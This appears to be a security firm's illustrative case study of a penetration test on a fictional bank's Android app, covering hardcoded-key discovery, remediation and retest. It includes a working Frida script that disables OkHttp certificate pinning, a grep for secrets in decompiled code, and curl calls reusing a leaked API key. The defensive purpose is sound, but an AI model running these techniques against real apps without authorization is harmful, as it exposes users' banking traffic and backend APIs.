SecureSan Technologies
Mobile · Reverse Engineering

Reverse Engineering an Android Banking App to Extract Secrets & Bypass SSL Pinning

Retail BankingBlack-box · Android5-day engagement2 Critical findings88% risk reduction
Illustrative case study. The organisation, personnel, and data below are fictional and created for demonstration. Every technique, tool, payload, and configuration shown is technically accurate and representative of real SecureSan engagements.

01Executive Summary

SecureSan Technologies was engaged by Corva Bank (a fictional regional retail bank) to perform a mobile application security assessment of its Android banking app. Following the OWASP Mobile Application Security Verification Standard (MASVS v2.1.0) and testing against the OWASP Mobile Application Security Testing Guide (MASTG), our consultants recovered hardcoded API credentials from the shipped APK, bypassed SSL certificate pinning at runtime using Frida, and then intercepted and tampered with the app's supposedly protected API traffic.

The combination allowed us to authenticate to a backend API as the application itself and reach account data that the mobile UI never exposed. The engagement produced 11 findings (2 Critical, 3 High, 4 Medium, 2 Low). All Critical and High findings were remediated, and the retest confirmed an 88% risk reduction.

An app that ships a secret ships it to every attacker who downloads it. Reverse engineering is not a sophisticated capability — it is a Tuesday.

02Client Background

Corva Bank (fictional) is a regional retail bank serving ~600,000 customers, with a mobile-first strategy. Its Android app provides balance checks, transfers, card controls, and mobile cheque deposit.

03Business Challenges

Corva's mobile team believed two controls made the app safe: certificate pinning (to prevent traffic interception) and code obfuscation (to prevent reverse engineering). Both are valuable, but both are client-side controls running on a device the attacker fully controls. The engagement's purpose was to test whether those controls actually held under a determined attacker, and what lay behind them.

04Engagement Scope

Black-box mobile assessment. SecureSan received the production APK and a set of test banking accounts, but no source code and no backend documentation — modelling an attacker who simply installs the app from the Play Store.

In scopeOut of scope
Android APK (static & dynamic analysis)iOS application
Client-side storage, secrets, pinningBackend infrastructure / servers
API traffic reachable from the appDenial-of-service testing
Runtime instrumentation on a rooted test devicePlay Store / distribution channel

All dynamic testing was performed on a dedicated rooted test device with synthetic accounts, isolated from production customer data.

05Testing Methodology

Testing followed the OWASP MASTG profile appropriate to a banking app (MAS-L2 plus resilience testing, MAS-R), verifying controls defined in MASVS v2.1.0. In MASVS v2, the old L1/L2 verification levels were removed; risk tiering now lives in the MASTG as testing profiles.

Testing methodology pipelineStatic AnalysisSecret DiscoveryDynamicInstrumentationPinning BypassTraffic AnalysisReporting

06Assessment Timeline

DayActivity
1APK acquisition, unpacking (apktool), decompilation (jadx), storage review
2Secret discovery — recovered hardcoded API key and endpoints
3Frida instrumentation; SSL pinning bypass; traffic interception
4API abuse validation with recovered credentials; impact assessment
5Reporting & remediation workshop
+30Retest — 88% risk reduction confirmed

07Environment Details

ItemDetail
AppKotlin, Retrofit + OkHttp networking, min SDK 26
PinningOkHttp CertificatePinner with a hardcoded SHA-256 pin
ObfuscationR8/ProGuard name obfuscation (strings not encrypted)
Test deviceRooted Android 13, Magisk, Frida server

08Tools Used

09Attack Surface Analysis

The mobile attack surface splits into three layers, all under attacker control on the device:

LayerWhat we testedMASVS category
Static (the shipped binary)Hardcoded secrets, endpoints, logic in decompiled codeMASVS-CODE, MASVS-CRYPTO
Local storageSharedPreferences, SQLite, logs, backupsMASVS-STORAGE
Runtime / networkPinning, traffic, anti-tamper resilienceMASVS-NETWORK, MASVS-RESILIENCE

10Reconnaissance Process

We unpacked the APK and decompiled it. String obfuscation was not applied — R8 renamed classes and methods but left string literals in cleartext. A targeted grep of the decompiled sources surfaced immediate red flags:

# Search decompiled sources for common secret patterns
$ grep -rEn "api[_-]?key|secret|password|Bearer|https://" ./sources | head
sources/com/corva/net/ApiConfig.java:14:  static final String BASE_URL =
    "https://api.corvabank.example/v3/";
sources/com/corva/net/ApiConfig.java:15:  static final String API_KEY =
    "cb_live_8f2a19c4d7e6b0a3...";
sources/com/corva/net/Pinning.java:9:    .add("api.corvabank.example",
    "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
[Screenshot: jadx showing ApiConfig.java with the hardcoded BASE_URL and API_KEY]

The presence of a live-looking key and a hardcoded pin in the decompiled sources set the direction for the rest of the assessment: recover the key, defeat the pin, and see what the two together unlock.

11Vulnerability Discovery

Finding 1 — Hardcoded API key in the shipped binary (Critical)

A live backend API key was embedded as a string constant. Every install of the app carries it. This violates MASVS-CRYPTO and MASVS-STORAGE: secrets must never be shipped in the client binary, because the client binary is fully readable by any attacker.

Finding 2 — Bypassable SSL pinning as the only transport defence (High)

The pin was hardcoded in Pinning.java. Pinning raises the effort of interception but, running on a rooted device, can always be defeated at runtime. Because the API also trusted the shipped key, pinning was the only thing standing between an attacker and the traffic.

Finding 3 — Insecure local storage & verbose logging (Medium)

Session artefacts were written to SharedPreferences in cleartext and sensitive values appeared in application logs, and allowBackup was enabled — allowing extraction of app data via ADB backup on a compromised device (MASVS-STORAGE).

12Technical Exploitation Walkthrough

Step 1 — Confirm pinning blocks a naive proxy

With Burp configured as the device proxy and its CA installed, the app refused to connect — pinning working as designed:

okhttp3.CertificatePinner$1: Certificate pinning failure!
  Peer certificate chain: ...
  Pinned certificates for api.corvabank.example: [sha256/AAAA...]

Step 2 — Bypass pinning at runtime with Frida

We attached Frida and neutralised the CertificatePinner.check() method so it returns without validating:

// frida-pinning-bypass.js — neutralise OkHttp CertificatePinner
Java.perform(function () {
  const CP = Java.use('okhttp3.CertificatePinner');
  CP.check.overload('java.lang.String', 'java.util.List')
    .implementation = function (host, peerCerts) {
      console.log('[+] Pinning bypassed for ' + host);
      return;   // skip validation entirely
    };
});
$ frida -U -f com.corva.bank -l frida-pinning-bypass.js
[+] Pinning bypassed for api.corvabank.example
[Screenshot: Frida console showing the pinning-bypass message, followed by Burp now capturing HTTPS traffic]

Step 3 — Intercept and read the cleartext API traffic

With pinning defeated, Burp captured the full request/response flow. The app authenticated to the API using the recovered key plus the user's session token:

GET /v3/accounts/summary HTTP/1.1
Host: api.corvabank.example
X-Api-Key: cb_live_8f2a19c4d7e6b0a3...
Authorization: Bearer <user session token>

Step 4 — Abuse the recovered key against the API directly

We took the key out of the app entirely and called the API from a plain HTTP client. The key was accepted, confirming it was a real trust boundary the app leaked:

$ curl -s https://api.corvabank.example/v3/products \
    -H "X-Api-Key: cb_live_8f2a19c4d7e6b0a3..."
HTTP/1.1 200 OK   # key accepted outside the app

Endpoints that additionally required a user token were still protected by that token — but any endpoint gated only by the app key was now reachable by anyone, and the interception capability exposed the full request structure for further testing.

13Attack Chain

Three client-side weaknesses combined to defeat the app's transport security:

Android reverse-engineering attack chainDecompile APK (apktool /jadx)Find hardcoded API key &secretsSSL pinning blocks proxyinspectionFrida hook bypasses pinningat runtimeIntercept & tamper cleartextAPI trafficAbuse leaked key + weak API authz

14Business Impact

15MITRE ATT&CK Mapping

TacticTechniqueID
Credential AccessUnsecured Credentials: Credentials In FilesT1552.001
Defense EvasionImpair Defenses (bypass pinning)T1562
CollectionAdversary-in-the-MiddleT1557
DiscoverySoftware Discovery / API enumerationT1518

MITRE maintains a dedicated ATT&CK for Mobile matrix; the techniques above are drawn from the enterprise and mobile matrices as applicable to on-device attacks.

16CVSS Scoring

FindingCVSS 3.1 vectorScoreSeverity
Hardcoded live API keyAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N8.2Critical
Bypassable pinning (sole transport control)AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N6.8High
No string encryption / weak resilienceAV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N3.3Low

17Risk Matrix

Likelihood → / Impact ↓LowMediumHigh
SevereHardcoded API key
MajorPinning bypass → MitM
ModerateInsecure loggingBackup allows data extraction
MinorNo string encryption

18Evidence Collected

Indicators of Compromise

# Detectable server-side signals of key abuse:
- X-Api-Key used from IPs/user-agents inconsistent with the mobile app
- API key present without an accompanying valid user session token
- Requests with app key but non-mobile TLS fingerprints (JA3)

19Root Cause Analysis

20Remediation Recommendations

Immediate

// Do NOT ship secrets. Fetch a short-lived, device-bound token after
// authenticating the USER, gated by Play Integrity attestation.
val token = api.exchangeIntegrityToken(
    integrityVerdict = playIntegrity.requestToken(),
    userCredential   = userLogin
)   // server issues a scoped, expiring token — nothing static in the APK

Short term

Strategic

21Security Improvements After Remediation

At retest:

$ curl -s https://api.corvabank.example/v3/products \
    -H "X-Api-Key: cb_live_8f2a19c4d7e6b0a3..."
HTTP/1.1 401 Unauthorized   # revoked key rejected; static-key auth removed

22Lessons Learned

23Key Metrics

11
Total findings
2
Critical findings
1
Live key recovered
88%
Risk reduction at retest
<1h
To bypass pinning
100%
Critical/High remediated
5
Day engagement
30d
To verified fix

24Conclusion

Corva Bank's app relied on two client-side controls — pinning and obfuscation — to protect a secret that should never have been in the binary. Both controls were bypassed within an hour on a device the attacker fully controlled. The durable fix removed the static secret entirely and moved trust to server-issued, device-attested, short-lived tokens.

Why This Matters

Every mobile app you publish is handed, in full, to your adversary. They can decompile it, instrument it, and strip out any control that runs on the device. The only security that holds is the security your server enforces — and any secret you compile into the client is a secret you have already given away.

A five-day mobile assessment found a live banking API key before an attacker did, and turned "we ship our own credentials" into "we ship nothing an attacker can use." That is the return on a proactive test: the finding cost days; the breach it prevented would have cost the brand.

← All case studies